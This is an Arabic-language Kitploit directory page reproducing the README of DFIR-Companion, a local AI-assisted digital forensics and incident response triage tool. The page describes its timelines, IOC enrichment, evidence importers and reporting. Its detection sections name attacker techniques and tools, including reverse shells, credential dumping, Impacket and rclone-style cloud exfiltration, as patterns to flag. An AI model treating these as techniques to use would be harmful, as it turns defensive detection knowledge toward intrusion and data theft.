Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DFIR-Companion — خادم مرافق للتحقيق الجنائي الرقمي والاستجابة للحوادث + إضافة التقاط | Kitploit
أدوات/GitHubGitHub/hasamba/dfir-companion
أدوات دفاعيةإدارة مؤشرات الاختراق (IOC)تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةتحليل الشبكة الجنائيالتحقيق الجنائي الرقميتحليل البرمجيات الخبيثةالتحاليل الرقمية الجنائيةاستخبارات التهديداتالاستجابة للحوادثأمن الذكاء الاصطناعيتحليل السجلات
184منذ 14س 18دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHubhasamba/dfir-companion

DFIR-Companion

خادم مرافق للتحقيق الجنائي الرقمي والاستجابة للحوادث + إضافة التقاط

عرض المستودع
مشاركة

DFIR Companion logo

DFIR Companion

License: AGPL v3

فرز DFIR بمساعدة الذكاء الاصطناعي — على جهازك. يحوّل لقطات شاشة التحقيق والآثار المستوردة إلى خط زمني جنائي، ونتائج، ومؤشرات اختراق (IOCs)، ورسم بياني يربط الأصول↔مؤشرات الاختراق، وتقارير قابلة للمشاركة؛ اطرح أسئلة على القضية باللغة الإنجليزية البسيطة وتعاون مع محققين آخرين.

رفيق رقمي محلي للطب الشرعي الرقمي / الاستجابة للحوادث. تلتقط إضافة المتصفح لقطات شاشة لتحقيقك (Velociraptor، لوحات EDR/SIEM، Security Onion، Splunk4DFIR، VolWeb، VirusTotal، إلخ) كأدلة؛ يخزّنها خادم محلي، ويشغّل تحليل رؤية بالذكاء الاصطناعي بنوافذ إلى حالة تحقيق متراكمة لكل قضية، ويقدّم لوحة تحكم حية بالإضافة إلى تقارير قابلة للتصدير.

كل شيء يعمل على جهازك — يرتبط الرفيق بـ 127.0.0.1 فقط، وتبقى الأدلة على القرص، ومزوّد الذكاء الاصطناعي هو اختيارك.

طبقة تحليل ما بعد الكشف. DFIR Companion ليس محرك كشف — بل يستوعب الأحكام من Velociraptor، Security Onion، Chainsaw، Hayabusa، THOR، Cyber Triage، EDR/SIEM، ويربطها في خط زمني جنائي واحد، ويولّف النتائج، ومسار المهاجم، ومؤشرات الاختراق، والتقارير. القيمة هي "وماذا بعد"، وليس إعادة استنتاج التنبيهات.

قضية تجريبية: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo

مختبر عملي: https://killercoda.com/dfir-companion/scenario/killercoda

دليل المستخدم: https://hasamba.github.io/DFIR-Companion/manual/

جدول المحتويات

  • البدء السريع
  • Docker / Docker Compose
  • Windows (Chocolatey)
  • Linux (AppImage)
  • لقطات الشاشة
  • ما الذي ينتجه
  • الميزات
  • استخدام خوادم MCP الخاصة بك
  • تخطيط المستودع
  • كيف تتكامل الأجزاء
  • متغيرات البيئة (companion/.env)
  • نصوص npm — مرجع CLI الكامل
  • سير العمل الموصى به
  • خارطة الطريق
  • الاختبارات
  • إخلاء المسؤولية
  • الترخيص

لقطات الشاشة

قضية تجريبية: GlobalTech Industries — BEC & Ransomware Precursor، مايو 2026.

قضية معبّأة مسبقًا بالكامل يمكنك استكشافها دون استيراد أي أدلة حقيقية — النتائج، ومؤشرات الاختراق، وتقنيات MITRE، ووسوم/تعليقات المحلل، وبيانات تعرّض العميل، وبيانات وصفية للتقرير كلها معبّأة مسبقًا بحيث يكون لكل لوحة في لوحة التحكم شيء تعرضه.

حمّلها بنقرة واحدة — انقر على زر Demo case في شريط أدوات لوحة التحكم. يعمل مع ملف Windows EXE المحمول أيضًا (لا حاجة إلى Node أو npm). يؤكد الزر قبل الكتابة فوق القضية إذا كانت موجودة بالفعل.

أو عبّئها من CLI (تطوير / Docker):

root@kitploit:~
cd companion && npm run seed-demo              # creates case id "demo"
npm run seed-demo -- --force                  # overwrite an existing demo case
npm run seed-demo -- --case-id globaltech     # use a custom id

ثم افتح http://127.0.0.1:4773/dashboard واتصل بالقضية.


الملخص التنفيذي والسرد ومسار الهجوم

ملخص القضية المولّد بالذكاء الاصطناعي، وسرد دقيقة بدقيقة، وكتابة مسار المهاجم — من الوصول الأولي إلى نشر برامج الفدية.

DFIR Companion — executive summary, narrative timeline, and attack path

الخط الزمني الجنائي

أحداث محللة مع مرشحات الخطورة، ووسوم الفرز، وروابط تفاصيل لكل صف، وتتبع تغييرات الاستيراد (شريط الأحداث الجديدة مع فرق قابل للتوسيع).

DFIR Companion — forensic timeline with severity filters and triage tags

الخط الزمني الفائق

كل حدث تم استيراده على الإطلاق، قبل تصفية النطاق/الخطورة — صفّح، ووسّم، ونجّم، ورقِّ الصفوف إلى الخط الزمني الجنائي المحلل؛ لا شيء يُحذف، هذا عرض شامل.

DFIR Companion — super-timeline showing every imported event before promotion

مسار السباحة الزمني

مخطط مرئي للأحداث حسب الأصل (المحور Y) والوقت (المحور X)، ملوّن حسب الخطورة — اسحب محور الوقت لتصفية الخط الزمني الجنائي إلى نطاق محدد.

DFIR Companion — timeline swimlane chart grouped by asset

النتائج

نتائج مولّدة بالذكاء الاصطناعي مع درجات الثقة، ووسوم فرز المحلل، وروابط تقنيات MITRE ATT&CK؛ تتبع ما تغيّر منذ تشغيل التوليف السابق.

DFIR Companion — findings list with confidence scores and MITRE ATT&CK links

سلسلة القتل

أحداث مصنّفة حسب تكتيك MITRE ATT&CK — تصنيف، وليس مرحلة سلسلة قتل مؤكدة، مستنتج بشكل حتمي دون ذكاء اصطناعي.

DFIR Companion — kill chain view bucketing events by MITRE ATT&CK tactic

الأسئلة التحقيقية الرئيسية

أسئلة DFIR القياسية يُجاب عنها تلقائيًا من القضية المولّفة (مجاب عنها / جزئي / غير معروف)، كل منها مع مؤشر دليل أو توجيه "اجمع هذا تاليًا".

DFIR Companion — key investigative questions with answers and evidence pointers

دليل الإجراءات

قائمة تحقق للمعالجة قابلة للتنفيذ مستنتجة تلقائيًا من النتائج والخطوات التالية الموصى بها؛ يُعاد مزامنتها في كل تشغيل توليف مع الحفاظ على حالة المحلل، والمسؤول المعيّن، وتواريخ الاستحقاق.

DFIR Companion — remediation playbook checklist derived from findings

ترتيب المضيفين والحسابات

أي المضيفين/الحسابات تحمل الهجوم، مُقيّمة بالإشارة (أحداث موزونة بالخطورة + تقنيات + مؤشرات اختراق رابطة) وليس بالحجم، مع نافذة نطاق مقترحة بنقرة واحدة.

DFIR Companion — host and account ranking scored by signal

رسم سلسلة الأدلة البياني

أشجار العمليات، والحركة الجانبية، وسلالة الملفات مدموجة في رسم هجوم سببي واحد. مستنتج بشكل حتمي من الحقول المعبّأة بواسطة المستورد — لا ذكاء اصطناعي، لا تكلفة، يعمل دون اتصال.

DFIR Companion — evidence chain graph with process trees and lateral movement

رسم تسجيل الدخول البياني

من سجّل الدخول وأين — حسابات ومضيفون مرتبطون من أحداث تسجيل الدخول في الخط الزمني الفائق، مع التمييز بين عمليات تسجيل الدخول الناجحة والفاشلة والمحفوفة بالمخاطر (RDP/runas/netonly).

DFIR Companion — login graph linking accounts to hosts

مرشحو الإشارات (Beacon)

قنوات صادرة دورية منتظمة أكثر من أن تكون حركة بشرية — خيط صيد، وليس حكمًا، مع الفاصل الزمني، والتذبذب، وعدد الأحداث لكل مرشح.

DFIR Companion — beacon candidates table with interval and jitter

مؤشرات الاختراق مع إثراءات استخبارات التهديدات

المؤشرات (عناوين IP · النطاقات · التجزئات · الملفات · العمليات · الحسابات) مُثراة مقابل VirusTotal، وAbuseIPDB، وThreatFox، ومزوّدين آخرين — شارات الأحكام، ودرجات الكشف، وإبرازات استيراد NEW، وتسميات فرز المحلل.

DFIR Companion — IOCs enriched with VirusTotal, AbuseIPDB, and ThreatFox

الأصول المخترقة ورسم مؤشرات الاختراق البياني

رسم بياني تفاعلي يربط المضيفين والحسابات الضحايا بالمؤشرات التي لمست كلًا منها، بالإضافة إلى قائمة المضيفين والمستخدمين المخترقين المعروفين.

DFIR Companion — compromised assets and IOC graph

ما الذي ينتجه

  • الخط الزمني الجنائي — أحداث حقيقية مع طوابع زمنية من الآثار، قابلة للترتيب/التصفية حسب التاريخ/الخطورة/المصدر
  • النتائج — استنتاجات تحليلية لكل تقنية مع الخطورة + تعيين MITRE ATT&CK
  • النتائج المثبّتة — ثبّت النتائج الرئيسية (📌) في شريط لاصق أعلى لوحة النتائج؛ اسحب لإعادة الترتيب، وانتقال بنقرة واحدة، وقائمة مختصرة محدودة، ومحفوظة لكل قضية (تنتقل في تصدير أرشيف القضية)
  • مؤشرات الاختراق، وتغطية MITRE، وسرد مسار المهاجم — شارات تأكيد متعدد المصادر + سلسلة القتل
  • إجراءات سريعة مضمّنة لمؤشرات الاختراق — انقر على أي قيمة مكتشفة (IP/تجزئة/نطاق/SID/URL/مسار) في صف حدث أو قيمة مؤشر اختراق للحصول على درج بنقرة واحدة: نسخ، وسم كحميد، وسم كمؤكد الخبث، واقتراح صيد — كل نتيجة تُسجّل في سجل التحقيق
  • مراحل الهجوم — الخط الزمني مجمّع في دفعات نشاط حسب الفجوة الزمنية، وموسوم بالتكتيك السائد (حتمي، بلا ذكاء اصطناعي)
  • مرشحو Beacon/C2 — قنوات صادرة بفواصل وصول منتظمة (خيط صيد، وليس دليلًا)
  • شذوذ الخط الزمني — ارتفاعات معدل الأحداث لكل أصل، بخطي أساس: النظير (أصل أكثر انشغالًا بكثير من الأصول الأخرى في نفس الحاوية) والذاتي (أصل يتفجّر فوق معدله المعتاد — يلتقط مضيفًا هادئًا عادةً يتفجّر، وهو ما لا يمكن للقياس الواسع إخفاؤه)؛ مرتّب حرج/عالٍ/متوسط، ومرتبط بأحداث الخط الزمني (حتمي، بلا ذكاء اصطناعي)
  • تحليل فجوات السجلات — فترات صمت مشبوهة في الخط الزمني، مُعلّمة بقواعد الكثافة + ساعات العمل
  • فرضيات الفجوات والآثار الظلية — إجراءات مهاجم مقترحة بالذكاء الاصطناعي خلال نوافذ الصمت + مجموعات Velociraptor لإعادة بناء الوقت المفقود
  • "الخطوة التالية" لتحليل الذاكرة — عند استيراد Volatility 3/Rekall، اكتشف الشذوذ (عمليات خاطئة الأب، ذاكرة محقونة، أوامر مشفّرة) واقترح خطوة التحليل التالية
  • تلميحات الخصم — مجموعات MITRE ATT&CK مرتّبة حسب تداخل التقنيات (مجموعة بيانات دون اتصال، واعية بالتقنيات الفرعية؛ وقود فرضيات، وليس إسنادًا)
  • محاكاة الخصم — التقنيات التالية المحتملة: أساليب المجموعات المطابقة المسماة التي لم ترصدها القضية بعد، مرتّبة حسب التميّز كأولويات صيد، كل منها مع "اصطد هذا" بنقرة واحدة → Velociraptor VQL
  • التخفيفات والتدابير الدفاعية المضادة — تخفيفات MITRE ATT&CK الملموسة (رموز M) لتقنيات القضية، مرتّبة حسب الرافعة (أي تخفيف واحد يغطي أكبر عدد من التقنيات)، بالإضافة إلى خطوات التقوية/الكشف/العزل من MITRE D3FEND؛ دون اتصال، بلا ذكاء اصطناعي. يجسر الفجوة بين "ما فعله المهاجم" و"ما يجب فعله حيال ذلك". زر ✨ Generate remediation plan يحوّله إلى خطة استجابة للحوادث ملموسة خاصة بالحادثة (استدعاء ذكاء اصطناعي واحد)
  • — المضيفون/الحسابات الضحايا + رسم بياني تفاعلي للأصول↔مؤشرات الاختراق

الميزات

الإعداد الأولي

  • معالج الإعداد — طبقة أولى عند التشغيل (موجودة أيضًا في Settings) تهيّئ الذكاء الاصطناعي، وPresidio، والتكاملات، والإثراء، والاستيعاب بالدفع، وNSRL، وقناة إشعارات، كل منها مع اختبار حي. كل شيء اختياري

الالتقاط والاستيعاب

  • إضافة متصفح MV3 بأقل صلاحيات — صفر وصول للمواقع عند التثبيت، وموافقة/إلغاء موافقة على أصل دقيق للوحة التحكم، والتقاط لمرة واحدة للتبويب النشط، والتقاط بمؤقت + مدفوع بالأحداث، وتدقيق محلي للأذونات، وقائمة انتظار دون اتصال + مزامنة تلقائية
  • دفع الآثار بنقرة واحدة — Splunk/Velociraptor/Kibana/Security Onion/SO-CRATES/CrowdStrike/VolWeb تحقن زر Push to DFIR-Companion؛ يعترض JSON الخاص بواجهة API أو يكشط الجدول؛ تعرض النافذة المنبثقة لوحة التحكم المكتشفة تلقائيًا مع قائمة منسدلة لفرض محوّل مختلف (أو لا شيء) لكل تبويب
  • "Send to DFIR-Companion" بالنقر بزر الفأرة الأيمن — أرسل النص المحدد في صفحة، أو جدولًا قريبًا، أو عنوان URL لرابط مباشرة إلى القضية المتصلة من أي صفحة، وليس فقط لوحات التحكم المعروفة
  • إدارة القضايا — + New case في لوحة التحكم (القوالب تحمّل تلقائيًا أسئلة الحادثة + تلميحات الاستيراد)؛ يُرفض الالتقاط إلى قضية غير معروفة
  • حماية القضية بكلمة مرور — 🔒 Password… يقفل قضية في لوحة التحكم، مفروض من جهة الخادم؛ يستمر استيعاب الالتقاط في العمل أثناء القفل
  • حذف قضية نهائيًا — 🗑️ Delete… في قائمة دورة حياة القضية يزيل دليل القضية نهائيًا، مع أخذ أرشيف ZIP/مشفّر اختياري أولًا؛ يرفض لمس دليل ليس قضية حقيقية ولن يحذف المجلد الحي لقضية مؤرشفة بالفعل من تحت أرشيفها
  • استيراد لقطات الشاشة — تحديد متعدد PNG/JPEG/WebP؛ زر Import واحد يكتشف تلقائيًا تنسيق الأثر (CSV/JSON/log)
  • "من أي مضيف جاء هذا الملف؟" — تصدير سجلات لا يسمّي أي جامع يطلب مضيفه؛ الأسماء القديمة تُدمج كأسماء سابقة
  • مجلد إسقاط الأدلة — الملفات المنسوخة إلى مجلد drop/ الخاص بقضية تُستورد في الخلفية، وتنتقل إلى _processed/ أو _failed/، وتُسجّل في drop-log.txt؛ مجلد فرعي asset=<HOST> يسمّي المضيف
  • مشغّل الأدوات الخارجية (Settings → Tools) — شغّل أدواتك الخاصة Hayabusa، وChainsaw، وVelociraptor CLI، وSuricata، وSnort، وYARA أو أدوات مخصصة على الأدلة الخام واستورد مخرجاتها؛ يُحتفظ بـ الخام بايتًا ببايت، وإصدار المحلل ورمز الخروج في الحفظ، ويفشل مغلقًا، ومعطّل افتراضيًا

مستوردات الأدلة

جميع المستوردات حتمية (بلا استدعاء ذكاء اصطناعي)، وتقرأ الطوابع الزمنية الخاصة بالأثر نفسه، وتوسم الأحداث باسم الأداة الحقيقي للربط متعدد المصادر. يمكن إعادة استيراد نفس الملف دون تكرار الخط الزمني.

  • مخطط الحدث الجنائي القانوني — هويات/مصادر منشأ منظمة ومُصدّرة بالإصدارات تدعم الاستيرادات؛ لم تعد عمليات دمج الرسم البياني تعتمد على صياغة الوصف| التنسيق | المصادر الرئيسية | الخطورة المستمدة من | |---|---|---| | SIEM / EDR JSON | Elastic، Kibana، Splunk، QRadar، أي تصدير JSON/NDJSON | جدول Windows/Sysmon حسب EID | | ECAR (قياس EDR عن بُعد) | سجل النشاط المشترك لـ EDR بصيغة NDJSON (object/action/properties، timestamp_ms بصيغة epoch-ms) — أحداث العمليات/التدفقات/تسجيل الدخول/السجل/الوحدات/الملفات/الخيوط | أدلة معلوماتية؛ رفع LOLBin/سطر أوامر مُشفَّر (عناوين IP عامة → مؤشرات اختراق) | | Windows Event Log XML | Event Viewer "Save As XML"، wevtutil qe /f:xml، Get-WinEvent … ToXml() (Security، Sysmon، System، أي قناة) | جدول Windows/Sysmon حسب EID | | Chainsaw | JSON/JSONL لصيد EVTX (chainsaw hunt --json)؛ قابل للتشغيل مباشرة على .evtx الخام عبر مشغّل الأدوات | مستوى قاعدة Sigma المطابقة | | Hayabusa | json-timeline أو csv-timeline | مستوى قاعدة Sigma المطابقة | | Velociraptor | مصفوفة JSON، أو JSONL، أو خريطة artifact | حكم Sigma/YARA أو حسب EID | | | مخرجات الفحص بصيغة JSON-Lines | مستوى تنبيه THOR | | | ، سجلات Zeek بصيغة JSON؛ القياس عن بُعد → مؤشرات اختراق فقط | أولوية التنبيه / خطورة الإشعار | | | سجل تنبيه أحادي السطر | القاعدة (1→عالية / 2→متوسطة / 3→منخفضة) | | | مخرجات فحص CLI (مطابقات القواعد + السلاسل/البيانات الوصفية) | معلومات→متوسطة لكل مطابقة؛ رفع عند وجود / في البيانات الوصفية للقاعدة | | | تنسيق سجل لـ Apache/Nginx/Squid (سجل وصول خادم ويب أو وكيل تمرير)؛ التقاط عنوان URL للطلب، و (الأسرار في URL/Referer + بصمات الماسحات/البوتات/الحقن تبقى كأحداث + مؤشرات اختراق) | معلومات افتراضيًا؛ رفض الوصول (401/403/407) → منخفضة؛ استنساخ/دفع git smart-HTTP → T1213 | | | رسائل Built/Teardown/Deny | معلومات افتراضيًا (قياس عن بُعد)؛ صريح → منخفضة | | | RFC 5424 () + RFC 3164 () سجلات مضيف Linux/Unix | معلومات افتراضيًا (قياس عن بُعد)؛ فشل المصادقة أو PRI من نوع crit/alert/emerg → منخفضة | | | أحداث SOC Alerts/Hunt (ECS)؛ تُدفع عبر الإضافة أو تصدير SOC API | (تسمية Suricata/SO) | | | تنبيهات Suricata + مطابقات ملفات YARA () واكتشافات Sigma ()؛ تُدفع عبر الإضافة أو تصدير خام | أولوية Suricata / مستوى Sigma / مطابقة YARA | | | خط زمني JSONL / JSON / CSV | درجة عنصر Cyber Triage | | | UAL، سجلات تسجيل الدخول والتدقيق في Entra | جدول أساليب BEC / riskLevel في Entra | | | تصدير System Log | جدول أساليب IdP (تعطيل MFA، منح صلاحية مسؤول، إصدار رمز API، انتحال جلسة) — وليس التقييم التشغيلي للمورّد | | | تدقيق المسؤول + تسجيل الدخول | جدول أساليب IdP (تعطيل 2SV، منح دور، الموافقة على OAuth، إضافة مراقبة البريد) | | | سجل Chrome/Edge/Brave، التنزيلات، التفسيرات (JSON أو CSV) | — (أحداث معلوماتية: آثار المتصفح أدلة، وليست أحكامًا) | | | السجل الموحّد ()، أحداث تنزيل LSQuarantine، سمات ، قوائم launchd، عناصر تسجيل الدخول (plist الكلاسيكي، ، BTM) | سجل الحجر ↔ سمة الملف ↔ زيارة المتصفح ↔ بدء العملية مرتبطة بالمُعرّف؛ يُقرأ plist كإعداد، وليس كتشغيل | | | آثار استخراج iOS + Android من تصديرات LEAPP TSV | — (أحداث معلوماتية؛ محلل عام يعتمد على عمود الطابع الزمني) | | | سجلات JSON، NDJSON، Athena | جدول إجراءات API (IAM/التسجيل/S3/الأسرار) | | | سجلات تدقيق السحابة، سجل نشاط Azure | جدول الإجراءات (IAM/التسجيل/الأسرار) | | | سجل تدقيق خادم API ( بصيغة JSON-lines / EventList) | جدول (verb، resource) — pod exec/attach T1609، الوصول إلى الأسرار T1552.007، تغيير RBAC T1098، pod مميز T1610/T1611، وصول مجهول T1078 | | | سجل نتائج الاستعلامات المجدولة (تفاضلي + ) | قياس معلوماتي عن بُعد؛ رفع محافظ على أساليب الهجوم عند وجود عمود سطر أوامر | | | CSV (ديناميكي + l2tcsv) | — (أحداث معلوماتية) | | | CAPEv2 ، ملخص Falcon Sandbox | حكم العينة + التوقيعات السلوكية | | | Volatility 3 () + Rekall: pslist/pstree، netscan، malfind، cmdline، svcscan؛ غلاف تشغيل JSON (الأمر، حالة الخروج، stderr) يُستورد بجانب التصدير | malfind كود محقون → عالية (T1055)؛ القوائم → معلوماتية/منخفضة؛ تشغيل بصفوف صفرية أو فاشل يوضّح ما يثبته | | | جداول إضافات + | نفس تعيين الإضافات؛ إصابات YARA في الذاكرة → منخفضة، عنقود كثيف متعدد القواعد → معلوماتية؛ حدود الصفوف مُفصح عنها | | | تصدير JSON للحالة/التنبيه، قائمة العناصر القابلة للملاحظة (TheHive 5) | خطورة TheHive 1–4؛ MITRE من الوسوم الموسومة بـ ATT&CK | | | (RFC 2822)، بأفضل جهد | فشل SPF/DKIM/DMARC → استدلالات انتحال المرسل (T1566 التصيّد) | | | / (bash + السجل الموسّع لـ zsh) | معلوماتية افتراضيًا؛ رفع محافظ على أساليب الهجوم (reverse shell، التنزيل والتنفيذ، الوصول إلى بيانات الاعتماد، التلاعب بالسجل/التاريخ، SSH الجانبي) | | | مفاتيح SSH المصرّح بها، cron، وحدات systemd، ملفات تعريف الصدفة، قوائم SUID وPATH من مجموعة واحدة | حِمل قابل للكتابة من الجميع، جذر يشغّل ملفات قابلة للكتابة من المستخدم، مفسّرات setuid؛ لا شيء يُصنَّف لمجرد وجوده | | | سجلات / الخام، جداول | جدول أنواع السجلات (عمليات تسجيل الدخول، إدارة الحسابات، sudo، SELinux، التلاعب بالتدقيق) | | | / | PRIORITY في syslog + رفعات أساليب الهجوم (sshd، sudo، useradd) | | | JSON تنبيه Falco، JSON حدث sysdig | أولوية قاعدة Falco؛ استدعاءات النظام الخام → قياس معلوماتي عن بُعد | | | / NDJSON، أو تصدير API () | (≥13 حرجة، ≥10 عالية، ≥7 متوسطة) | | | تصديرات Velociraptor / EDR | — | | | جدار الحماية، syslog، VPN؛ أسطر متكررة → أنماط محسوبة | مُصنَّفة بالذكاء الاصطناعي |

تصنيف حتمي لأساليب الهجوم — تُصنَّف أسطر أوامر Windows/Sysmon وECAR والذاكرة وفق قواعد مستخلصة من أكثر من 110 اختراقات حقيقية (The DFIR Report، Huntress): أساليب هجوم عالية الثقة → عالية مع تقنية ATT&CK الخاصة بها (تعطيل Defender، تثبيط الاسترداد، استخراج بيانات الاعتماد، الأنفاق العكسية، Impacket، RMM/C2، تسريب سحابي …)، ثنائية الاستخدام → متوسطة؛ الاستكشاف المحض يُوسَم لكن لا يُرفَع أبدًا.

  • كشف نجاح القوة الغاشمة على SSH (T1110.001) — يعلّم تسجيل دخول ناجح يلي موجة محاولات فاشلة من نفس عنوان IP المصدر → متوسطة
  • تصنيف مخاطر نوع تسجيل الدخول في Windows — يفكّ أنواع تسجيل الدخول 4624 ويصنّف الأشكال الخطرة (RDP خارجي، شبكة نصية صريحة، runas /netonly) → متوسطة
  • كشف التلاعب بالطوابع الزمنية NTFS (T1070.006) — يعلّم عدم تطابق الطوابع الزمنية $SI/$FN في MFT كتلاعب محتمل بالطوابع الزمنية → متوسطة
  • كشف ملاحظة الفدية / الملفات المُعاد تسميتها (T1486) — يعلّم أسماء ملفات ملاحظات الفدية وامتدادات العائلات المعروفة، مجمّعة حسب المضيف، فوق المعلوماتية حتى لا يدفنها الحد الأقصى
  • كشف الحركة الجانبية عبر RDP (T1021.001) — يصنّف عمليات تسجيل الدخول عبر RDP ببيانات اعتماد صريحة إلى هدف بعيد حقيقي كمتوسطة؛ ضجيج مدير الجلسة المحلي يبقى معلوماتيًا
  • كشف التنزيل العابر وأدوات التسريب السحابي (T1189 / T1567.002) — تنزيلات قابلة للتنفيذ من منطقة الإنترنت وتنفيذ rclone/restic/megasync/megacmd في Prefetch
  • خطورة YARA السياقية — تصنّف الإصابة حسب مكان وما طابقته (فحص ذاتي → معلوماتية، سلسلة في ملف ترحيل → منخفضة، برمجية خبيثة مسمّاة على مسار حقيقي → عالية) بدلًا من عالية مسطّحة
  • تسلسلات الحقن والتفريغ — Sysmon 10 / 8 / 25 / 1 مرتبطة فقط عبر GUID عملية مطابق؛ أشكال الوصول-ثم-الخيط وإنشاء-استبدال-الخيط → عالية + T1055
  • علامة التنزيل مدعومة بالتنفيذ — تُقرأ علامة Zone.Identifier مقابل Prefetch وبدايات العمليات وسجلات وجود نفس الملف وتُرفَع فقط عندما يكون التنفيذ مؤرخًا بعدها؛ حِمل في تدفق مخفي يُصنَّف حسب المحتوى، لا الاسم

تحليل الذكاء الاصطناعي

  • إعداد ذكاء اصطناعي موجّه — الخطوة الأولى في معالج الإعداد تختار المزوّد → النموذج (اقتراحات رخيصة/قوية) → المفتاح → عنوان URL أساسي اختياري، ثم تُجري اختبار اتصال مباشرًا قبل أن تغادر
  • على مرحلتين — رؤية رخيصة لكل نافذة (استخراج) + تركيب نصي قوي (اكتشافات/مؤشرات اختراق/MITRE/مسار المهاجم)
  • المزوّدون — OpenAI، OpenRouter، Ollama، LiteLLM، Gemini، Anthropic، Claude Code CLI، Codex CLI؛ اختياري بمستويين (استخراج رخيص + تركيب قوي) مع موازنة السياق
  • وحدات تحكم EDR/SIEM كأدلة — تُستخرج الاكتشافات؛ تُرشَّح تنقلات المحلل (الاكتشافات الحقيقية لا تُسقَط أبدًا)
  • اكتشافات واعية بالخطورة — صفوف حرجة/عالية تصبح اكتشافات؛ إنشاء تلقائي حتمي للأحداث عالية الخطورة الفائتة
  • تقييم الثقة + الاستدلال — كل اكتشاف يحمل ثقة 0–100% (بوزن قوة الدليل، وتأكيد الأداة، ويقين النموذج) بالإضافة إلى سبب من سطر واحد؛ مرشّح ثقة دنيا ثابت لكل حالة (يبقى بعد إعادة التحميل) يخفي الاكتشافات منخفضة الثقة عند الطلب
  • شارات KEV / مؤكَّد بالأداة / خيط غير مؤكَّد — تعلّم ما إذا كان الاكتشاف مؤكَّدًا بـ CVE مُستغَلّ فعليًا، أو اكتشاف مُصنَّف بأداة، أو قياس عن بُعد خام فقط
  • تركيب فعّال — إعادة تركيب حية مع تأخير؛ تخطٍّ إذا لم يتغير شيء؛ اختيار أحداث طبقي + ملخص الأصول↔مؤشرات الاختراق
  • تجميع اكتشافات التركيب — الإصابات المتكررة لنفس الاكتشاف تتقلص إلى مدخل واحد في الطلب مع عدد الإصابات/انتشار المضيف/المدة الزمنية، حتى لا يُحدّ الاستيراد الغني بالاكتشافات عند بضع مئات من الصفوف
  • رفع حد أحداث التركيب (300 → 600) — بالإضافة إلى أن الأحداث المعلوماتية لم تعد تنافس على ميزانية الطلب، فتصل الاكتشافات المُصنَّفة لحالة نموذجية كلها إلى النموذج في تمريرة واحدة
  • التمريرة العميقة — تشغيل دفعي يُطلقه المحلل يقرأ كل حدث مُصنَّف عند حد خطورة مختار لتغطية ذكاء اصطناعي كاملة للحالات الكبيرة متعددة المضيفين، مع معاينة مجانية للتكلفة/التغطية لكل حد ولوحة مخصصة في لوحة المعلومات قبل أن تنفق أي شيء
  • تدقيق تغطية التركيب — بطاقة synth-meta تُظهر عدد الأحداث داخل النافذة التي نظر فيها التشغيل مقابل المحذوفة، ولماذا
  • رأي LLM ثانٍ — نموذج منافس (B) يعيد تركيب الحالة؛ حكم قابل للتهيئة يحكم على كل خلاف من الأحداث المستشهد بها؛ اقبل لكل عنصر أو اتبع الحكم بنقرة واحدة
  • مراجعة الأدلة الفائتة — نموذج سريع يُشغّله المحلل (Jev) يصنّف صفوف المعلوماتية التي تركها موسّم المحتوى؛ علّم الصفوف ورقّها بتصنيف النموذج (معطّل حتى DFIR_JEV_ENABLED)
  • الإجابات السلبية تسمّي أدلتها — جرد جمع لكل مضيف يصل إلى التركيب، فيقول "لم يُلاحظ" ما جُمع وما يجب جمعه تاليًا

الارتباط وإزالة التكرار

  • الارتباط عبر المصادر — نفس الأثر الذي تراه أدوات مختلفة يتقلص إلى حدث واحد مؤكَّد (تجزئة مشتركة / نفس المسار في نافذة زمنية / تكرار مطابق)، موسوم بأسماء الأدوات الحقيقية. عديم الأثر الجانبي — إعادة الاستيراد لا تضاعف الخط الزمني أبدًا.
  • ارتباط سطر الأوامر عبر الأدوات — يدمج أحداث إنشاء العمليات نفسها التي أبلغت عنها أدوات مختلفة وتشترك في سطر أوامر وعملية أب ومضيف
  • مرشّح التأكيد (عدسة) — تحكم لكل قسم (الخط الزمني / مؤشرات الاختراق / الاكتشافات) يُظهر فقط العناصر التي رأتها أداتان أو أكثر أو 3+ أدوات؛ عدسة، وليست بوابة
  • درجات الضجيج/الثقة لكل مصدر — تزن المصادر حسب الموثوقية لصياغة الارتباط وتحديد سقف الثقة؛ قابلة للتجاوز لكل حالة### سير عمل التحقيق
  • نطاق المضيف وسجل التخليص — حالة لكل مضيف مستمدة من الأدلة، وتخليص المحلل خلف قائمة تحقق للأهلية تُسمّي فئة الأدلة المفقودة، وقرارات مُنسوبة للإضافة فقط، وتمييز التقادم دون التراجع عنه، وقائمة مرتّبة بالمضيفين المذكورين في الأدلة ولم يُجمَعوا قط
  • سجل تشغيل التحليل القابل لإعادة الإنتاج — عمليات الاستيراد والوسم والإثراء والتركيب والتقارير تترك بيانات وصفية غير قابلة للتغيير ومتسلسلة بالتجزئة تُثبّت أدلتها؛ ويمكن فحص التشغيلات وإعادة تشغيلها ومقارنتها
  • مراجعة التقارير المُتحكَّم بها وإصدار غير قابل للتغيير — مسودة → مراجعة الأقران → موافقة، وبوابات إصدار الأدلة والسلامة، وتوقيع مرتبط بالهوية، واستبدال صريح، وفروقات الإصدارات، وحزم تنفيذية/تقنية/قانونية/IOC مجمّدة
  • وضع الفريق الموثّق الاختياري — OIDC أو حساب محلي مُدقَّق، وأدوار لكل قضية، وهويات خدمة ونسب المحلل؛ ويبقى وضع المستخدم الواحد عبر loopback هو الافتراضي (دليل الإعداد)
  • إجابات AI موثّقة بالمراجع — النتائج، وAsk-the-case، وExplain Event، وعمليات البحث المقترحة من AI (playbook + fleet) تعرض مراجع مرقّمة قابلة للنقر إلى أحداث/نتائج الطب الشرعي الداعمة، في كلٍّ من لوحة المعلومات والتقرير المُصدَّر
